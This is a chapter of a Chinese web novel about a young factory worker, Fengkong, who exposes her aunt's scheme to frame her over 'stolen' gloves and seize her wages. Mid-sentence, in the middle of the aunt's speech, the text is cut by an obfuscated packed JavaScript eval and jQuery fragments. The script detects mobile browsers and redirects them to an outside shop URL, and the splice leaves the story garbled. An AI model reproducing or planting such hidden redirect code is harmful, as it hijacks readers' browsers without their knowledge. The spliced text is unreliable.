傍晚的大杂院,通常比广播站还热闹。
谁家锅里少了二两油,谁家孩子打碎了碗,谁家媳妇和婆婆拌了两句嘴,通常不到一顿饭的工夫,全院都能听见。
逢空走到巷子口的时候,各家各户都端着饭碗或者搬着小板凳,趁着天还没完全黑,聚在院子中央那棵老槐树底下说话。初春的风带着凉意,炒菜的油烟味混着家长里短的声音,在各家院子里飘来飘去。
逢空在嘈杂的人堆里一眼锁定了混在其中的闻灼和钵满。
钵满正坐在一个小马扎上,手里剥着不知道从哪儿弄来的毛豆,动作慢吞吞的,脸上还带着笑,看起来腼腆又乖巧。
至于闻灼……
她显然已经掌握了自己的优势,端着茶缸子,坐在几个大妈中间,听到关键处还会配合地睁大眼睛,煞有介事地应衬:“还有这种事啊?”
“那后来呢?”
看到逢空回来,闻灼趁没人注意飞快递了一个眼神过去。
逢空心领神会,故意放慢了脚步,假装在水池边洗手,顺便竖起耳朵听那边的动静。
“要我说啊,这荣秀也是个苦命的。”一个弄着时兴发型的大妈磕着瓜子,压低了声音,但那音量刚好能让周围一圈人都听见,“她那个老娘,当年也是个厉害人物。一个人拉扯着她和她哥,眼看着老娘要退休了,按理说这顶岗接班的好事,得可着能干的来吧?”
“是啊!”
“那肯定。”
大妈啧了一声,“结果老太太一咬牙,把名额给了她那个大儿子。”
“就是那个天天惹事的?”旁边的大婶接话。
“可不是嘛!那小子进厂没几年,就因为喝酒打架被调去了翻砂车间,后来更是……”
她语气里满是不屑,“反正没个正形。”
“我怎么没听说过?”
“你才来我们机械厂几年。”大妈眼皮往上一翻。
“倒是荣秀那个丫头争气。”
最开始说话的大妈继续道:“她没赶上接班,就自己想办法。听说当年养猪场那地方,谁都嫌脏嫌累,她一个小姑娘倒是钻进去研究猪饲料。”
“后来还真让她弄出了点名堂。”
“猪养得一个比一个肥,厂里看她能干,才把她招进来当临时工,最后一步一步转了正,现在可不就成了厂里的先进人物。”
周围有人感叹了一句:“这孩子也是吃了不少苦。”
逢空站在水池边,洗手的动作放得很缓。她的视线顺势扫向树下,正好撞上闻灼转过来的询问目光。
两个人视线一碰,闻灼明白了她的意思,继续捧着茶缸子,好奇地问道:“婶子,那她可真厉害。不过,这么好的养家糊口的本领,怎么没教给她哥呀?”
“哎!你这丫头算是问到点子上了!”卷发大妈一拍大腿,终于有人问到了自己最想说的话。
“那养猪是个轻省活吗?又脏又累,猪圈里一年到头都是味儿,饲料配起来更是熏死人。”
大妈撇了撇嘴,语气里带上一丝怜悯:“男人干这个,那叫有本事,有手艺,以后能养家糊口,顶顶好的一门手艺。”
“女人干这个……”大妈拖长了声音。“吃苦受累不说,一身洗不掉的猪圈味。”
旁边有人小声接了一句:“其实荣秀也挺可惜的。”
“可不是嘛。”
卷发大妈发出一长串叹息:“你别看她现在是先进工作者,又是三八红旗手,看起来能耐很大。”
“可女人有女人的难处。”
“天天往猪圈里钻,手上都是伤,身上都是味,谁家愿意娶回来?”
“快三十了还没个对象,不还是……老姑娘一个。”
逢空站在水池边,听着这些大妈们的嚼舌根,眼神微微眯了起来。
荣秀钻进猪圈十几年,把一群没人愿意管的猪养出了名堂,她哥拿到了正式工的名额,反而成了家里那个“有出息”的人。
说到最后,院子里的人叹息的还是荣秀,仿佛她吃苦,是因为她选错了路。
就在这时,一道格外响亮的声音从旁边传来打断了逢空的思绪。
“哎哟!我们家三妹回来了!”
王桂芬不知道什么时候从屋里钻了出来。
她手里还拿着锅铲,脸上的笑容一下堆了起来,声音大得恨不得让整个院子都听见:“怎么回来得这么晚啊,是不是在罐头厂累坏了?”
她快步走到逢空身边,热络地拽住她的衣袖:“不过二姨跟你说,你这身板,干这个才算没白长一身力气,我当初一看那招工启事,第一个想到的就是你,连夜就给你妈写信去了!”
二姨趁机表功:“你表弟伟伟还埋怨我呢,说有这招临时工的好事怎么不想着他。我当场就把他骂了一顿!我说你表姐在乡下过得苦,这好机会必须紧着她。”
她握着逢空的手语重心长,“三妹啊,你可得好好干,等以后转正了,二姨这颗心才算真正放下来。”
闻灼和钵满看得目瞪口呆,没想到逢空二姨是这样的。
逢空:“……”这又是演的哪一出。
周围的几个邻居纷纷转过头来,竖起了大拇指。
“桂芬啊,你这当姨的,真是没话说!”
“就是,对乡下来的外甥女比对亲儿子还上心,这样的亲戚打着灯笼都难找啊!”
“三妹,你以后转正了可得记着你姨的好。”
逢空看着二姨那张虚伪的脸,连个假笑都懒得给,只是敷衍地应了一声,越过她走进左厢房。
这个大院里的人,倒是都很擅长扮演自己想让别人看到的样子。
晚饭摆上了那张逼仄的折叠桌。
今天二姨大概是为了配合她在院子里立下的绝世好亲戚人设,破天荒地在水煮萝卜里滴了两滴香油。
二姨坐在逢空对面,清了清嗓子开始了她每天例行的饭桌教育。
“三妹啊,你今天也听见院子里的人说了吧?隔壁王嫂子家那个闺女,今天又去相亲了。”
二姨小口喝着萝卜汤,一边拿眼角斜睨着逢空,“你说你,个子长得这么高,骨架这么壮,成天套着个灰布衣裳,也不知道收拾收拾自己,这样下去,以后在这个城里,找得到对象吗?”
逢空自顾自掰着手里的窝窝头塞进嘴里,偶尔敷衍地“嗯”一声。
二姨见她不反驳,说得更起劲了:“你跟荣秀同志一个车间的,平时怎么也没学到半分?”
“学什么?”逢空问,说话就说话,怎么还拉踩。
“你看看人家荣秀同志人家那精神面貌,你看看人家厂里贴的照片,两条大辫子梳得乌黑瓦亮,站在那里多端庄,那才叫有出息。”
荣秀这个名字今天未免出现得太频繁了。
逢空咽下嘴里的窝窝头问:“二姨,你见过荣秀吗?”
二姨让她问得一愣,“当然见过了,人家荣秀同志可是厂里的先进,每年五一都要上台领奖的。”
逢空夹了一筷子萝卜,“难道还有人也叫荣秀?”
二姨皱眉,“什么意思?”
“荣秀跟我一个车间。”逢空想了想,“除了照片上的辫子,我没看出来她哪里像你说的那样。”
二姨嘴角抽搐了两下:“你这孩子……”
她放下筷子,总结陈词:“算了,不说这个,这女人啊,就是生成了靠男人的命。你干活再能干有什么用?你力气再大,能当饭吃吗?女人不好看,就是不好看!不温柔,这辈子就算毁了!”
就在二姨说到兴头上的时候。
大杂院外头的高音喇叭响起了晚间的广播节目:
“职工同志们,劳动创造美!什么样的女同志才是最美的?在我们的生产一线,有这样一批先进女同志,她们不怕苦,不怕累,把青春奉献给集体,用实际行动展现了新时代女工的风采……”
广播里的声音从院墙外传进来。
“特别是我们罐头厂的荣秀同志,多年来扎根生产一线,勤勤恳恳,为集体建设贡献力量……”
二姨听着广播,脸上的笑意更深了,“听见没,厂里都这么说,二姨还能害你不成?我这都是为了你好。”
逢空撕下一角干硬的馒头皮慢慢嚼着,这个院子和那个罐头厂之间,好像只隔着一堵墙。
墙里墙外的人都说着同样的话,区别只是,一个挂在广播里,一个坐在饭桌前。
二姨见铺垫得差不多了,话锋一转,“不过啊,三妹。”
那张满是关切的脸垮了下来:“你这饭量也确实太大了,咱们家那点定额粮票,哪经得起你这么吃?我知道你妈给你寄了钱,可家里这么多人,哪哪都要花钱,你现在既然进厂了,也该懂事一点。”
二姨盯着她,见她还是那副不冷不热的样子,心里有些不痛快,但她这次早有准备:“你别跟我装没听见。”
二姨从裤腰口袋里掏出一样东西,“啪”的一声排在桌子上。
逢空眉梢微微挑起,劳保手套,这是下午她柜子里丢的那副?
“三妹。”二姨脸上浮起一种抓到把柄的得意,“今天中午,张姐来找我,她说你这孩子刚进厂第一天,东西就丢了,怕是自己也说不清,我还替你说话,说你不是那种人。”
“结果呢?”二姨点点桌上的手套,“这东西怎么会在你床板下面?”
二姨双手抱胸,越说越得意:“你胆子是真大啊,刚进厂第一天,就敢把公家的东西往家里拿?”
“你知道这叫什么吗?这叫思想有问题,要是真被厂里知道了,别说转正了,工作还能不能保住都是两说!”
二姨说得唾沫横飞,仿佛在主持一场正义审判:“到时候别说你自己丢脸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775429|207227||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,你妈在乡下也跟着抬不起头!”
“所以呢,二姨你想如何?”
王桂芬说了一大堆,终于露出了真正的目的:“你毕竟是我外甥女,二姨也不能眼睁睁看着你毁了。”
“这样吧,以后你每个月工资交给我,我帮你保管。年轻姑娘手里不能留这么多钱,容易乱花。这副手套,我就当你孝敬我的。”
“大家都是一家人,我也不会把事情闹出去。”
在她想象里,这个没见过世面的乡下丫头,现在应该已经慌了,应该求她,说以后工资都给她。
然而,逢空的目光只是在那副手套上闲闲扫过。
“二姨。”她声音平静:“张大妈找你的时候,是不是没把事情说完整?”
王桂芬心里“咯噔”了一下,“你什么意思?”
逢空靠在椅背上,“这副手套确实是我的。”
二姨一喜:“你承认了?”
逢空看着她:“承认什么?”
二姨接不上话,干瞪着眼。
逢空继续说道:“今天下午,我发现手套丢了以后,第一时间去找了李主任。”
“东西是在厂里的柜子里没的,李主任那里已经登记过了。”
二姨脸上的笑一点点消失,“登记?”
“对。”逢空点头,“丢失时间,丢失物品,都说清楚了。”
逢空视线落回那副手套上:“所以我很好奇,二姨,你为什么会拿着一副已经登记丢失的东西回来?”
屋子里安静下来,门外原本竖着耳朵听热闹的大妈们,也慢慢没了声音。
“我……”她不知道该怎么接。
逢空看着她越来越难看的脸色,语气依旧平静。
“还有,如果真有人觉得这是我偷拿的,那也应该去找李主任,毕竟东西是在厂里丢的。”
“不是在我床底下长出来的。”
二姨像是被人当众扇了一巴掌,脸色变得通红。
刚才还夸王桂芬“疼外甥女”的几个大妈,脸上的笑都有些挂不住。
毕竟夸人的话刚说出口,这会儿再收回来,多少有点尴尬。
人群里,闻灼小声跟旁边的大妈感叹了一句:“婶子,我刚才还以为桂芬婶真是疼三妹呢。”
那大妈摇了摇头:“你这丫头还是年轻,看人不能只看嘴上说什么。”
钵满没凑过来,也听得一清二楚:“不过她刚才说得那么好听,我还真信了。”
“可不是嘛!”
这一下,王桂芬辛辛苦苦攒出来的好名声算是彻底砸了。
最后还是卷发大妈开了口:“桂芬啊,这事你做得可不地道。”
二姨额头上的汗一下冒了出来,“这……这都是张姐让我这样做的。”
逢空看着桌上的手套,终于把下午那些零碎的细节串了起来。
张大妈今天在灌装线上提起手套,原来是在确认自己有没有发现这件事。
之后又把手套送到二姨手里……
这两个人倒是配合得默契。
一个想借她二姨的手出口气,一个想借这副手套拿捏她的工资,谁都觉得自己占了便宜。
逢空:“……”
真是两个能进博物馆的蠢货。
二姨急忙解释,“张大妈说,她看见你……”
“哦。”
逢空打断她,“所以现在清楚了,手套是张大妈给你的,你又拿着一副已经登记丢失的手套来找我。”
她毫不留情地步步紧逼,“二姨,你觉得李主任要是知道,会先问谁?”
“你……你……”二姨指着逢空,嘴唇直哆嗦,连一句完整的话都说不出来。
后听见动静赶来看热闹的邻居可不管什么低头不见抬头见的。
“哎哟喂!真是知人知面不知心啊!”一个大妈毫不留情地开了腔,“王桂芬,你穷疯了吧?”
“就是啊!还想栽赃给自家亲外甥女,这心肝儿也太黑了吧!”
“这要是让厂保卫科查下来,老李家都要跟着倒霉!”
各种嘲讽、鄙夷的议论声像潮水一样涌进屋里。二姨夫这会儿连面都不敢露,躲在里屋的门装死。二姨站在饭桌前,走也不是,留也不是,恨不得找个地缝钻进去。
逢空站起身,顺手抓起桌上那副手套,慢条斯理地揣进自己兜里,“二姨,你刚才说得对,女人嘛,就得多干活少说话。脑子不够用,就别学人家玩算计。”
“手套我拿走了。”
二姨牙都快要咬碎了,“你!”
逢空居高临下地看着她,“怎么,不是说这是我的东西吗,物归原主,有问题?”
二姨一句话都说不出来。
“还有,”逢空扫过桌上凉透的寡淡菜汤,“以后生活费的事,就别费心设局了,忙活半天还不如直接说。”